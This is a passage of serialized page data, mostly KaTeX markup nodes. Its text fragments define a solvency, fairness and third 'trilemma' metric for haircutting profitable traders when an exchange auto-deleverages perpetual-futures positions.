Name":164776,"style":112364},[283],[],{"type":22,"tag":264,"props":164779,"children":164781},{"className":164780},[289],[164782,164787],{"type":22,"tag":264,"props":164783,"children":164785},{"className":164784,"style":22894},[289,2178],[164786],{"type":27,"value":22897},{"type":22,"tag":264,"props":164788,"children":164790},{"className":164789},[2147],[164791],{"type":22,"tag":264,"props":164792,"children":164794},{"className":164793},[305,306],[164795,164824],{"type":22,"tag":264,"props":164796,"children":164798},{"className":164797},[311],[164799,164819],{"type":22,"tag":264,"props":164800,"children":164802},{"className":164801,"style":2690},[316],[164803],{"type":22,"tag":264,"props":164804,"children":164805},{"style":162271},[164806,164810],{"type":22,"tag":264,"props":164807,"children":164809},{"className":164808,"style":2169},[326],[],{"type":22,"tag":264,"props":164811,"children":164813},{"className":164812},[332,333,334,335],[164814],{"type":22,"tag":264,"props":164815,"children":164817},{"className":164816},[289,2178,335],[164818],{"type":27,"value":57724},{"type":22,"tag":264,"props":164820,"children":164822},{"className":164821},[396],[164823],{"type":27,"value":399},{"type":22,"tag":264,"props":164825,"children":164827},{"className":164826},[311],[164828],{"type":22,"tag":264,"props":164829,"children":164831},{"className":164830,"style":2721},[316],[164832],{"type":22,"tag":264,"props":164833,"children":164834},{},[],{"type":27,"value":164836},": mark price from different sources; ",{"type":22,"tag":257,"props":164838,"children":164840},{"className":164839},[260,261],[164841],{"type":22,"tag":264,"props":164842,"children":164844},{"className":164843},[267],[164845],{"type":22,"tag":264,"props":164846,"children":164848},{"className":164847,"ariaHidden":273},[272],[164849],{"type":22,"tag":264,"props":164850,"children":164852},{"className":164851},[278],[164853,164857],{"type":22,"tag":264,"props":164854,"children":164856},{"className":164855,"style":441},[283],[],{"type":22,"tag":264,"props":164858,"children":164860},{"className":164859,"style":96388},[289,2178],[164861],{"type":27,"value":96422},{"type":27,"value":164863},": insurance fund, roughly the 5M on testnet HL; ",{"type":22,"tag":257,"props":164865,"children":164867},{"className":164866},[260,261],[164868],{"type":22,"tag":264,"props":164869,"children":164871},{"className":164870},[267],[164872],{"type":22,"tag":264,"props":164873,"children":164875},{"className":164874,"ariaHidden":273},[272],[164876],{"type":22,"tag":264,"props":164877,"children":164879},{"className":164878},[278],[164880,164884],{"type":22,"tag":264,"props":164881,"children":164883},{"className":164882,"style":111337},[283],[],{"type":22,"tag":264,"props":164885,"children":164887},{"className":164886},[289],[164888,164893],{"type":22,"tag":264,"props":164889,"children":164891},{"className":164890,"style":94855},[289,2178],[164892],{"type":27,"value":162409},{"type":22,"tag":264,"props":164894,"children":164896},{"className":164895},[2147],[164897],{"type":22,"tag":264,"props":164898,"children":164900},{"className":164899},[305,306],[164901,164930],{"type":22,"tag":264,"props":164902,"children":164904},{"className":164903},[311],[164905,164925],{"type":22,"tag":264,"props":164906,"children":164908},{"className":164907,"style":94898},[316],[164909],{"type":22,"tag":264,"props":164910,"children":164911},{"style":94902},[164912,164916],{"type":22,"tag":264,"props":164913,"children":164915},{"className":164914,"style":2169},[326],[],{"type":22,"tag":264,"props":164917,"children":164919},{"className":164918},[332,333,334,335],[164920],{"type":22,"tag":264,"props":164921,"children":164923},{"className":164922},[289,2178,335],[164924],{"type":27,"value":5050},{"type":22,"tag":264,"props":164926,"children":164928},{"className":164927},[396],[164929],{"type":27,"value":399},{"type":22,"tag":264,"props":164931,"children":164933},{"className":164932},[311],[164934],{"type":22,"tag":264,"props":164935,"children":164937},{"className":164936,"style":2721},[316],[164938],{"type":22,"tag":264,"props":164939,"children":164940},{},[],{"type":27,"value":164942}," is PNL for longs, negated for shorts; ",{"type":22,"tag":257,"props":164944,"children":164946},{"className":164945},[260,261],[164947],{"type":22,"tag":264,"props":164948,"children":164950},{"className":164949},[267],[164951],{"type":22,"tag":264,"props":164952,"children":164954},{"className":164953,"ariaHidden":273},[272],[164955],{"type":22,"tag":264,"props":164956,"children":164958},{"className":164957},[278],[164959,164963],{"type":22,"tag":264,"props":164960,"children":164962},{"className":164961,"style":111337},[283],[],{"type":22,"tag":264,"props":164964,"children":164966},{"className":164965},[289],[164967,164972],{"type":22,"tag":264,"props":164968,"children":164970},{"className":164969,"style":123632},[289,2178],[164971],{"type":27,"value":50892},{"type":22,"tag":264,"props":164973,"children":164975},{"className":164974},[2147],[164976],{"type":22,"tag":264,"props":164977,"children":164979},{"className":164978},[305,306],[164980,165009],{"type":22,"tag":264,"props":164981,"children":164983},{"className":164982},[311],[164984,165004],{"type":22,"tag":264,"props":164985,"children":164987},{"className":164986,"style":94898},[316],[164988],{"type":22,"tag":264,"props":164989,"children":164990},{"style":162566},[164991,164995],{"type":22,"tag":264,"props":164992,"children":164994},{"className":164993,"style":2169},[326],[],{"type":22,"tag":264,"props":164996,"children":164998},{"className":164997},[332,333,334,335],[164999],{"type":22,"tag":264,"props":165000,"children":165002},{"className":165001},[289,2178,335],[165003],{"type":27,"value":5050},{"type":22,"tag":264,"props":165005,"children":165007},{"className":165006},[396],[165008],{"type":27,"value":399},{"type":22,"tag":264,"props":165010,"children":165012},{"className":165011},[311],[165013],{"type":22,"tag":264,"props":165014,"children":165016},{"className":165015,"style":2721},[316],[165017],{"type":22,"tag":264,"props":165018,"children":165019},{},[],{"type":27,"value":165021}," is the positive part of PNL.)",{"type":22,"tag":23,"props":165023,"children":165024},{},[165025],{"type":27,"value":165026},"And let's make the trilemma definitions concrete:",{"type":22,"tag":17988,"props":165028,"children":165029},{},[165030,165504,166068],{"type":22,"tag":1871,"props":165031,"children":165032},{},[165033,165037,165038,165292,165294,165345,165347,165450,165451,165502],{"type":22,"tag":1699,"props":165034,"children":165035},{},[165036],{"type":27,"value":162150},{"type":27,"value":34227},{"type":22,"tag":257,"props":165039,"children":165041},{"className":165040},[260,261],[165042],{"type":22,"tag":264,"props":165043,"children":165045},{"className":165044},[267],[165046],{"type":22,"tag":264,"props":165047,"children":165049},{"className":165048,"ariaHidden":273},[272],[165050,165077],{"type":22,"tag":264,"props":165051,"children":165053},{"className":165052},[278],[165054,165059,165064,165068,165073],{"type":22,"tag":264,"props":165055,"children":165058},{"className":165056,"style":165057},[283],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":165060,"children":165062},{"className":165061},[289],[165063],{"type":27,"value":602},{"type":22,"tag":264,"props":165065,"children":165067},{"className":165066,"style":665},[420],[],{"type":22,"tag":264,"props":165069,"children":165071},{"className":165070},[670],[165072],{"type":27,"value":5372},{"type":22,"tag":264,"props":165074,"children":165076},{"className":165075,"style":665},[420],[],{"type":22,"tag":264,"props":165078,"children":165080},{"className":165079},[278],[165081,165086],{"type":22,"tag":264,"props":165082,"children":165085},{"className":165083,"style":165084},[283],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":22,"tag":264,"props":165087,"children":165089},{"className":165088},[289],[165090,165094,165288],{"type":22,"tag":264,"props":165091,"children":165093},{"className":165092},[294,295],[],{"type":22,"tag":264,"props":165095,"children":165097},{"className":165096},[300],[165098],{"type":22,"tag":264,"props":165099,"children":165101},{"className":165100},[305,306],[165102,165276],{"type":22,"tag":264,"props":165103,"children":165105},{"className":165104},[311],[165106,165271],{"type":22,"tag":264,"props":165107,"children":165110},{"className":165108,"style":165109},[316],"height:0.8884em;",[165111,165185,165196],{"type":22,"tag":264,"props":165112,"children":165113},{"style":321},[165114,165118],{"type":22,"tag":264,"props":165115,"children":165117},{"className":165116,"style":327},[326],[],{"type":22,"tag":264,"props":165119,"children":165121},{"className":165120},[332,333,334,335],[165122],{"type":22,"tag":264,"props":165123,"children":165125},{"className":165124},[289,335],[165126],{"type":22,"tag":264,"props":165127,"children":165129},{"className":165128},[289,335],[165130,165135],{"type":22,"tag":264,"props":165131,"children":165133},{"className":165132,"style":94370},[289,2178,335],[165134],{"type":27,"value":162825},{"type":22,"tag":264,"props":165136,"children":165138},{"className":165137},[2147],[165139],{"type":22,"tag":264,"props":165140,"children":165142},{"className":165141},[305,306],[165143,165173],{"type":22,"tag":264,"props":165144,"children":165146},{"className":165145},[311],[165147,165168],{"type":22,"tag":264,"props":165148,"children":165150},{"className":165149,"style":113695},[316],[165151],{"type":22,"tag":264,"props":165152,"children":165154},{"style":165153},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[165155,165159],{"type":22,"tag":264,"props":165156,"children":165158},{"className":165157,"style":110228},[326],[],{"type":22,"tag":264,"props":165160,"children":165162},{"className":165161},[332,110233,110234,335],[165163],{"type":22,"tag":264,"props":165164,"children":165166},{"className":165165,"style":22894},[289,2178,335],[165167],{"type":27,"value":7279},{"type":22,"tag":264,"props":165169,"children":165171},{"className":165170},[396],[165172],{"type":27,"value":399},{"type":22,"tag":264,"props":165174,"children":165176},{"className":165175},[311],[165177],{"type":22,"tag":264,"props":165178,"children":165181},{"className":165179,"style":165180},[316],"height:0.1433em;",[165182],{"type":22,"tag":264,"props":165183,"children":165184},{},[],{"type":22,"tag":264,"props":165186,"children":165187},{"style":349},[165188,165192],{"type":22,"tag":264,"props":165189,"children":165191},{"className":165190,"style":327},[326],[],{"type":22,"tag":264,"props":165193,"children":165195},{"className":165194,"style":359},[358],[],{"type":22,"tag":264,"props":165197,"children":165199},{"style":165198},"top:-3.4101em;",[165200,165204],{"type":22,"tag":264,"props":165201,"children":165203},{"className":165202,"style":327},[326],[],{"type":22,"tag":264,"props":165205,"children":165207},{"className":165206},[332,333,334,335],[165208],{"type":22,"tag":264,"props":165209,"children":165211},{"className":165210},[289,335],[165212],{"type":22,"tag":264,"props":165213,"children":165215},{"className":165214},[289,335],[165216,165221],{"type":22,"tag":264,"props":165217,"children":165219},{"className":165218,"style":124129},[289,2178,335],[165220],{"type":27,"value":124132},{"type":22,"tag":264,"props":165222,"children":165224},{"className":165223},[2147],[165225],{"type":22,"tag":264,"props":165226,"children":165228},{"className":165227},[305,306],[165229,165260],{"type":22,"tag":264,"props":165230,"children":165232},{"className":165231},[311],[165233,165255],{"type":22,"tag":264,"props":165234,"children":165237},{"className":165235,"style":165236},[316],"height:0.2963em;",[165238],{"type":22,"tag":264,"props":165239,"children":165241},{"style":165240},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165242,165246],{"type":22,"tag":264,"props":165243,"children":165245},{"className":165244,"style":110228},[326],[],{"type":22,"tag":264,"props":165247,"children":165249},{"className":165248},[332,110233,110234,335],[165250],{"type":22,"tag":264,"props":165251,"children":165253},{"className":165252},[289,2178,335],[165254],{"type":27,"value":23033},{"type":22,"tag":264,"props":165256,"children":165258},{"className":165257},[396],[165259],{"type":27,"value":399},{"type":22,"tag":264,"props":165261,"children":165263},{"className":165262},[311],[165264],{"type":22,"tag":264,"props":165265,"children":165267},{"className":165266,"style":110253},[316],[165268],{"type":22,"tag":264,"props":165269,"children":165270},{},[],{"type":22,"tag":264,"props":165272,"children":165274},{"className":165273},[396],[165275],{"type":27,"value":399},{"type":22,"tag":264,"props":165277,"children":165279},{"className":165278},[311],[165280],{"type":22,"tag":264,"props":165281,"children":165284},{"className":165282,"style":165283},[316],"height:0.4453em;",[165285],{"type":22,"tag":264,"props":165286,"children":165287},{},[],{"type":22,"tag":264,"props":165289,"children":165291},{"className":165290},[415,295],[],{"type":27,"value":165293}," — how much of the total bad debt was actually covered. ",{"type":22,"tag":257,"props":165295,"children":165297},{"className":165296},[260,261],[165298],{"type":22,"tag":264,"props":165299,"children":165301},{"className":165300},[267],[165302],{"type":22,"tag":264,"props":165303,"children":165305},{"className":165304,"ariaHidden":273},[272],[165306,165332],{"type":22,"tag":264,"props":165307,"children":165309},{"className":165308},[278],[165310,165314,165319,165323,165328],{"type":22,"tag":264,"props":165311,"children":165313},{"className":165312,"style":441},[283],[],{"type":22,"tag":264,"props":165315,"children":165317},{"className":165316,"style":23347},[289,2178],[165318],{"type":27,"value":23350},{"type":22,"tag":264,"props":165320,"children":165322},{"className":165321,"style":421},[420],[],{"type":22,"tag":264,"props":165324,"children":165326},{"className":165325},[426],[165327],{"type":27,"value":429},{"type":22,"tag":264,"props":165329,"children":165331},{"className":165330,"style":421},[420],[],{"type":22,"tag":264,"props":165333,"children":165335},{"className":165334},[278],[165336,165340],{"type":22,"tag":264,"props":165337,"children":165339},{"className":165338,"style":850},[283],[],{"type":22,"tag":264,"props":165341,"children":165343},{"className":165342},[289],[165344],{"type":27,"value":602},{"type":27,"value":165346}," means fully solvent (",{"type":22,"tag":257,"props":165348,"children":165350},{"className":165349},[260,261],[165351],{"type":22,"tag":264,"props":165352,"children":165354},{"className":165353},[267],[165355],{"type":22,"tag":264,"props":165356,"children":165358},{"className":165357,"ariaHidden":273},[272],[165359,165437],{"type":22,"tag":264,"props":165360,"children":165362},{"className":165361},[278],[165363,165367,165424,165428,165433],{"type":22,"tag":264,"props":165364,"children":165366},{"className":165365,"style":112364},[283],[],{"type":22,"tag":264,"props":165368,"children":165370},{"className":165369},[289],[165371,165376],{"type":22,"tag":264,"props":165372,"children":165374},{"className":165373,"style":124129},[289,2178],[165375],{"type":27,"value":124132},{"type":22,"tag":264,"props":165377,"children":165379},{"className":165378},[2147],[165380],{"type":22,"tag":264,"props":165381,"children":165383},{"className":165382},[305,306],[165384,165413],{"type":22,"tag":264,"props":165385,"children":165387},{"className":165386},[311],[165388,165408],{"type":22,"tag":264,"props":165389,"children":165391},{"className":165390,"style":162981},[316],[165392],{"type":22,"tag":264,"props":165393,"children":165394},{"style":162985},[165395,165399],{"type":22,"tag":264,"props":165396,"children":165398},{"className":165397,"style":2169},[326],[],{"type":22,"tag":264,"props":165400,"children":165402},{"className":165401},[332,333,334,335],[165403],{"type":22,"tag":264,"props":165404,"children":165406},{"className":165405},[289,2178,335],[165407],{"type":27,"value":23033},{"type":22,"tag":264,"props":165409,"children":165411},{"className":165410},[396],[165412],{"type":27,"value":399},{"type":22,"tag":264,"props":165414,"children":165416},{"className":165415},[311],[165417],{"type":22,"tag":264,"props":165418,"children":165420},{"className":165419,"style":2721},[316],[165421],{"type":22,"tag":264,"props":165422,"children":165423},{},[],{"type":22,"tag":264,"props":165425,"children":165427},{"className":165426,"style":421},[420],[],{"type":22,"tag":264,"props":165429,"children":165431},{"className":165430},[426],[165432],{"type":27,"value":429},{"type":22,"tag":264,"props":165434,"children":165436},{"className":165435,"style":421},[420],[],{"type":22,"tag":264,"props":165438,"children":165440},{"className":165439},[278],[165441,165445],{"type":22,"tag":264,"props":165442,"children":165444},{"className":165443,"style":850},[283],[],{"type":22,"tag":264,"props":165446,"children":165448},{"className":165447},[289],[165449],{"type":27,"value":5334},{"type":27,"value":16477},{"type":22,"tag":257,"props":165452,"children":165454},{"className":165453},[260,261],[165455],{"type":22,"tag":264,"props":165456,"children":165458},{"className":165457},[267],[165459],{"type":22,"tag":264,"props":165460,"children":165462},{"className":165461,"ariaHidden":273},[272],[165463,165489],{"type":22,"tag":264,"props":165464,"children":165466},{"className":165465},[278],[165467,165471,165476,165480,165485],{"type":22,"tag":264,"props":165468,"children":165470},{"className":165469,"style":441},[283],[],{"type":22,"tag":264,"props":165472,"children":165474},{"className":165473,"style":23347},[289,2178],[165475],{"type":27,"value":23350},{"type":22,"tag":264,"props":165477,"children":165479},{"className":165478,"style":421},[420],[],{"type":22,"tag":264,"props":165481,"children":165483},{"className":165482},[426],[165484],{"type":27,"value":429},{"type":22,"tag":264,"props":165486,"children":165488},{"className":165487,"style":421},[420],[],{"type":22,"tag":264,"props":165490,"children":165492},{"className":165491},[278],[165493,165497],{"type":22,"tag":264,"props":165494,"children":165496},{"className":165495,"style":850},[283],[],{"type":22,"tag":264,"props":165498,"children":165500},{"className":165499},[289],[165501],{"type":27,"value":5334},{"type":27,"value":165503}," means nothing was recovered.",{"type":22,"tag":1871,"props":165505,"children":165506},{},[165507,165511,165512,165635,165636,165853,165855,165959,165961,166012,166014,166066],{"type":22,"tag":1699,"props":165508,"children":165509},{},[165510],{"type":27,"value":162160},{"type":27,"value":34227},{"type":22,"tag":257,"props":165513,"children":165515},{"className":165514},[260,261],[165516],{"type":22,"tag":264,"props":165517,"children":165519},{"className":165518},[267],[165520],{"type":22,"tag":264,"props":165521,"children":165523},{"className":165522,"ariaHidden":273},[272],[165524,165550],{"type":22,"tag":264,"props":165525,"children":165527},{"className":165526},[278],[165528,165532,165537,165541,165546],{"type":22,"tag":264,"props":165529,"children":165531},{"className":165530,"style":165057},[283],[],{"type":22,"tag":264,"props":165533,"children":165535},{"className":165534},[289],[165536],{"type":27,"value":602},{"type":22,"tag":264,"props":165538,"children":165540},{"className":165539,"style":665},[420],[],{"type":22,"tag":264,"props":165542,"children":165544},{"className":165543},[670],[165545],{"type":27,"value":5372},{"type":22,"tag":264,"props":165547,"children":165549},{"className":165548,"style":665},[420],[],{"type":22,"tag":264,"props":165551,"children":165553},{"className":165552},[278],[165554,165558,165568,165573,165630],{"type":22,"tag":264,"props":165555,"children":165557},{"className":165556,"style":5409},[283],[],{"type":22,"tag":264,"props":165559,"children":165561},{"className":165560},[289,27],[165562],{"type":22,"tag":264,"props":165563,"children":165565},{"className":165564},[289],[165566],{"type":27,"value":165567},"Gini",{"type":22,"tag":264,"props":165569,"children":165571},{"className":165570},[294],[165572],{"type":27,"value":2660},{"type":22,"tag":264,"props":165574,"children":165576},{"className":165575},[289],[165577,165582],{"type":22,"tag":264,"props":165578,"children":165580},{"className":165579},[289,2178],[165581],{"type":27,"value":85670},{"type":22,"tag":264,"props":165583,"children":165585},{"className":165584},[2147],[165586],{"type":22,"tag":264,"props":165587,"children":165589},{"className":165588},[305,306],[165590,165619],{"type":22,"tag":264,"props":165591,"children":165593},{"className":165592},[311],[165594,165614],{"type":22,"tag":264,"props":165595,"children":165597},{"className":165596,"style":94898},[316],[165598],{"type":22,"tag":264,"props":165599,"children":165600},{"style":94426},[165601,165605],{"type":22,"tag":264,"props":165602,"children":165604},{"className":165603,"style":2169},[326],[],{"type":22,"tag":264,"props":165606,"children":165608},{"className":165607},[332,333,334,335],[165609],{"type":22,"tag":264,"props":165610,"children":165612},{"className":165611},[289,2178,335],[165613],{"type":27,"value":5050},{"type":22,"tag":264,"props":165615,"children":165617},{"className":165616},[396],[165618],{"type":27,"value":399},{"type":22,"tag":264,"props":165620,"children":165622},{"className":165621},[311],[165623],{"type":22,"tag":264,"props":165624,"children":165626},{"className":165625,"style":2721},[316],[165627],{"type":22,"tag":264,"props":165628,"children":165629},{},[],{"type":22,"tag":264,"props":165631,"children":165633},{"className":165632},[415],[165634],{"type":27,"value":2806},{"type":27,"value":8615},{"type":22,"tag":257,"props":165637,"children":165639},{"className":165638},[260,261],[165640],{"type":22,"tag":264,"props":165641,"children":165643},{"className":165642},[267],[165644],{"type":22,"tag":264,"props":165645,"children":165647},{"className":165646,"ariaHidden":273},[272],[165648,165726],{"type":22,"tag":264,"props":165649,"children":165651},{"className":165650},[278],[165652,165656,165713,165717,165722],{"type":22,"tag":264,"props":165653,"children":165655},{"className":165654,"style":143624},[283],[],{"type":22,"tag":264,"props":165657,"children":165659},{"className":165658},[289],[165660,165665],{"type":22,"tag":264,"props":165661,"children":165663},{"className":165662},[289,2178],[165664],{"type":27,"value":85670},{"type":22,"tag":264,"props":165666,"children":165668},{"className":165667},[2147],[165669],{"type":22,"tag":264,"props":165670,"children":165672},{"className":165671},[305,306],[165673,165702],{"type":22,"tag":264,"props":165674,"children":165676},{"className":165675},[311],[165677,165697],{"type":22,"tag":264,"props":165678,"children":165680},{"className":165679,"style":94898},[316],[165681],{"type":22,"tag":264,"props":165682,"children":165683},{"style":94426},[165684,165688],{"type":22,"tag":264,"props":165685,"children":165687},{"className":165686,"style":2169},[326],[],{"type":22,"tag":264,"props":165689,"children":165691},{"className":165690},[332,333,334,335],[165692],{"type":22,"tag":264,"props":165693,"children":165695},{"className":165694},[289,2178,335],[165696],{"type":27,"value":5050},{"type":22,"tag":264,"props":165698,"children":165700},{"className":165699},[396],[165701],{"type":27,"value":399},{"type":22,"tag":264,"props":165703,"children":165705},{"className":165704},[311],[165706],{"type":22,"tag":264,"props":165707,"children":165709},{"className":165708,"style":2721},[316],[165710],{"type":22,"tag":264,"props":165711,"children":165712},{},[],{"type":22,"tag":264,"props":165714,"children":165716},{"className":165715,"style":421},[420],[],{"type":22,"tag":264,"props":165718,"children":165720},{"className":165719},[426],[165721],{"type":27,"value":429},{"type":22,"tag":264,"props":165723,"children":165725},{"className":165724,"style":421},[420],[],{"type":22,"tag":264,"props":165727,"children":165729},{"className":165728},[278],[165730,165734,165791,165796],{"type":22,"tag":264,"props":165731,"children":165733},{"className":165732,"style":5409},[283],[],{"type":22,"tag":264,"props":165735,"children":165737},{"className":165736},[289],[165738,165743],{"type":22,"tag":264,"props":165739,"children":165741},{"className":165740},[289,2178],[165742],{"type":27,"value":20581},{"type":22,"tag":264,"props":165744,"children":165746},{"className":165745},[2147],[165747],{"type":22,"tag":264,"props":165748,"children":165750},{"className":165749},[305,306],[165751,165780],{"type":22,"tag":264,"props":165752,"children":165754},{"className":165753},[311],[165755,165775],{"type":22,"tag":264,"props":165756,"children":165758},{"className":165757,"style":94898},[316],[165759],{"type":22,"tag":264,"props":165760,"children":165761},{"style":94426},[165762,165766],{"type":22,"tag":264,"props":165763,"children":165765},{"className":165764,"style":2169},[326],[],{"type":22,"tag":264,"props":165767,"children":165769},{"className":165768},[332,333,334,335],[165770],{"type":22,"tag":264,"props":165771,"children":165773},{"className":165772},[289,2178,335],[165774],{"type":27,"value":5050},{"type":22,"tag":264,"props":165776,"children":165778},{"className":165777},[396],[165779],{"type":27,"value":399},{"type":22,"tag":264,"props":165781,"children":165783},{"className":165782},[311],[165784],{"type":22,"tag":264,"props":165785,"children":165787},{"className":165786,"style":2721},[316],[165788],{"type":22,"tag":264,"props":165789,"children":165790},{},[],{"type":22,"tag":264,"props":165792,"children":165794},{"className":165793},[289],[165795],{"type":27,"value":2891},{"type":22,"tag":264,"props":165797,"children":165799},{"className":165798},[289],[165800,165805],{"type":22,"tag":264,"props":165801,"children":165803},{"className":165802,"style":123632},[289,2178],[165804],{"type":27,"value":50892},{"type":22,"tag":264,"props":165806,"children":165808},{"className":165807},[2147],[165809],{"type":22,"tag":264,"props":165810,"children":165812},{"className":165811},[305,306],[165813,165842],{"type":22,"tag":264,"props":165814,"children":165816},{"className":165815},[311],[165817,165837],{"type":22,"tag":264,"props":165818,"children":165820},{"className":165819,"style":94898},[316],[165821],{"type":22,"tag":264,"props":165822,"children":165823},{"style":162566},[165824,165828],{"type":22,"tag":264,"props":165825,"children":165827},{"className":165826,"style":2169},[326],[],{"type":22,"tag":264,"props":165829,"children":165831},{"className":165830},[332,333,334,335],[165832],{"type":22,"tag":264,"props":165833,"children":165835},{"className":165834},[289,2178,335],[165836],{"type":27,"value":5050},{"type":22,"tag":264,"props":165838,"children":165840},{"className":165839},[396],[165841],{"type":27,"value":399},{"type":22,"tag":264,"props":165843,"children":165845},{"className":165844},[311],[165846],{"type":22,"tag":264,"props":165847,"children":165849},{"className":165848,"style":2721},[316],[165850],{"type":22,"tag":264,"props":165851,"children":165852},{},[],{"type":27,"value":165854}," for each winner with ",{"type":22,"tag":257,"props":165856,"children":165858},{"className":165857},[260,261],[165859],{"type":22,"tag":264,"props":165860,"children":165862},{"className":165861},[267],[165863],{"type":22,"tag":264,"props":165864,"children":165866},{"className":165865,"ariaHidden":273},[272],[165867,165946],{"type":22,"tag":264,"props":165868,"children":165870},{"className":165869},[278],[165871,165876,165933,165937,165942],{"type":22,"tag":264,"props":165872,"children":165875},{"className":165873,"style":165874},[283],"height:0.6891em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":165877,"children":165879},{"className":165878},[289],[165880,165885],{"type":22,"tag":264,"props":165881,"children":165883},{"className":165882,"style":123632},[289,2178],[165884],{"type":27,"value":50892},{"type":22,"tag":264,"props":165886,"children":165888},{"className":165887},[2147],[165889],{"type":22,"tag":264,"props":165890,"children":165892},{"className":165891},[305,306],[165893,165922],{"type":22,"tag":264,"props":165894,"children":165896},{"className":165895},[311],[165897,165917],{"type":22,"tag":264,"props":165898,"children":165900},{"className":165899,"style":94898},[316],[165901],{"type":22,"tag":264,"props":165902,"children":165903},{"style":162566},[165904,165908],{"type":22,"tag":264,"props":165905,"children":165907},{"className":165906,"style":2169},[326],[],{"type":22,"tag":264,"props":165909,"children":165911},{"className":165910},[332,333,334,335],[165912],{"type":22,"tag":264,"props":165913,"children":165915},{"className":165914},[289,2178,335],[165916],{"type":27,"value":5050},{"type":22,"tag":264,"props":165918,"children":165920},{"className":165919},[396],[165921],{"type":27,"value":399},{"type":22,"tag":264,"props":165923,"children":165925},{"className":165924},[311],[165926],{"type":22,"tag":264,"props":165927,"children":165929},{"className":165928,"style":2721},[316],[165930],{"type":22,"tag":264,"props":165931,"children":165932},{},[],{"type":22,"tag":264,"props":165934,"children":165936},{"className":165935,"style":421},[420],[],{"type":22,"tag":264,"props":165938,"children":165940},{"className":165939},[426],[165941],{"type":27,"value":11760},{"type":22,"tag":264,"props":165943,"children":165945},{"className":165944,"style":421},[420],[],{"type":22,"tag":264,"props":165947,"children":165949},{"className":165948},[278],[165950,165954],{"type":22,"tag":264,"props":165951,"children":165953},{"className":165952,"style":850},[283],[],{"type":22,"tag":264,"props":165955,"children":165957},{"className":165956},[289],[165958],{"type":27,"value":5334},{"type":27,"value":165960}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":22,"tag":257,"props":165962,"children":165964},{"className":165963},[260,261],[165965],{"type":22,"tag":264,"props":165966,"children":165968},{"className":165967},[267],[165969],{"type":22,"tag":264,"props":165970,"children":165972},{"className":165971,"ariaHidden":273},[272],[165973,165999],{"type":22,"tag":264,"props":165974,"children":165976},{"className":165975},[278],[165977,165981,165986,165990,165995],{"type":22,"tag":264,"props":165978,"children":165980},{"className":165979,"style":441},[283],[],{"type":22,"tag":264,"props":165982,"children":165984},{"className":165983,"style":22894},[289,2178],[165985],{"type":27,"value":123130},{"type":22,"tag":264,"props":165987,"children":165989},{"className":165988,"style":421},[420],[],{"type":22,"tag":264,"props":165991,"children":165993},{"className":165992},[426],[165994],{"type":27,"value":429},{"type":22,"tag":264,"props":165996,"children":165998},{"className":165997,"style":421},[420],[],{"type":22,"tag":264,"props":166000,"children":166002},{"className":166001},[278],[166003,166007],{"type":22,"tag":264,"props":166004,"children":166006},{"className":166005,"style":850},[283],[],{"type":22,"tag":264,"props":166008,"children":166010},{"className":166009},[289],[166011],{"type":27,"value":602},{"type":27,"value":166013}," means everyone loses the same fraction of their PNL. ",{"type":22,"tag":257,"props":166015,"children":166017},{"className":166016},[260,261],[166018],{"type":22,"tag":264,"props":166019,"children":166021},{"className":166020},[267],[166022],{"type":22,"tag":264,"props":166023,"children":166025},{"className":166024,"ariaHidden":273},[272],[166026,166053],{"type":22,"tag":264,"props":166027,"children":166029},{"className":166028},[278],[166030,166034,166039,166043,166049],{"type":22,"tag":264,"props":166031,"children":166033},{"className":166032,"style":441},[283],[],{"type":22,"tag":264,"props":166035,"children":166037},{"className":166036,"style":22894},[289,2178],[166038],{"type":27,"value":123130},{"type":22,"tag":264,"props":166040,"children":166042},{"className":166041,"style":421},[420],[],{"type":22,"tag":264,"props":166044,"children":166046},{"className":166045},[426],[166047],{"type":27,"value":166048},"≈",{"type":22,"tag":264,"props":166050,"children":166052},{"className":166051,"style":421},[420],[],{"type":22,"tag":264,"props":166054,"children":166056},{"className":166055},[278],[166057,166061],{"type":22,"tag":264,"props":166058,"children":166060},{"className":166059,"style":850},[283],[],{"type":22,"tag":264,"props":166062,"children":166064},{"className":166063},[289],[166065],{"type":27,"value":5334},{"type":27,"value":166067}," means a few get wiped while most are untouched.",{"type":22,"tag":1871,"props":166069,"children":166070},{},[166071,166075,166076,166234,166236,166330,166332],{"type":22,"tag":1699,"props":166072,"children":166073},{},[166074],{"type":27,"value":162170},{"type":27,"value":34227},{"type":22,"tag":257,"props":166077,"children":166079},{"className":166078},[260,261],[166080],{"type":22,"tag":264,"props":166081,"children":166083},{"className":166082},[267],[166084],{"type":22,"tag":264,"props":166085,"children":166087},{"className":166086,"ariaHidden":273},[272],[166088],{"type":22,"tag":264,"props":166089,"children":166091},{"className":166090},[278],[166092,166097,166172,166177],{"type":22,"tag":264,"props":166093,"children":166096},{"className":166094,"style":166095},[283],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":22,"tag":264,"props":166098,"children":166100},{"className":166099},[289],[166101,166106],{"type":22,"tag":264,"props":166102,"children":166104},{"className":166103,"style":96376},[289,2178],[166105],{"type":27,"value":162895},{"type":22,"tag":264,"props":166107,"children":166109},{"className":166108},[2147],[166110],{"type":22,"tag":264,"props":166111,"children":166113},{"className":166112},[305,306],[166114,166160],{"type":22,"tag":264,"props":166115,"children":166117},{"className":166116},[311],[166118,166155],{"type":22,"tag":264,"props":166119,"children":166121},{"className":166120,"style":110085},[316],[166122,166139],{"type":22,"tag":264,"props":166123,"children":166125},{"style":166124},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[166126,166130],{"type":22,"tag":264,"props":166127,"children":166129},{"className":166128,"style":2169},[326],[],{"type":22,"tag":264,"props":166131,"children":166133},{"className":166132},[332,333,334,335],[166134],{"type":22,"tag":264,"props":166135,"children":166137},{"className":166136,"style":22894},[289,2178,335],[166138],{"type":27,"value":7279},{"type":22,"tag":264,"props":166140,"children":166141},{"style":5353},[166142,166146],{"type":22,"tag":264,"props":166143,"children":166145},{"className":166144,"style":2169},[326],[],{"type":22,"tag":264,"props":166147,"children":166149},{"className":166148},[332,333,334,335],[166150],{"type":22,"tag":264,"props":166151,"children":166153},{"className":166152,"style":94855},[289,2178,335],[166154],{"type":27,"value":162409},{"type":22,"tag":264,"props":166156,"children":166158},{"className":166157},[396],[166159],{"type":27,"value":399},{"type":22,"tag":264,"props":166161,"children":166163},{"className":166162},[311],[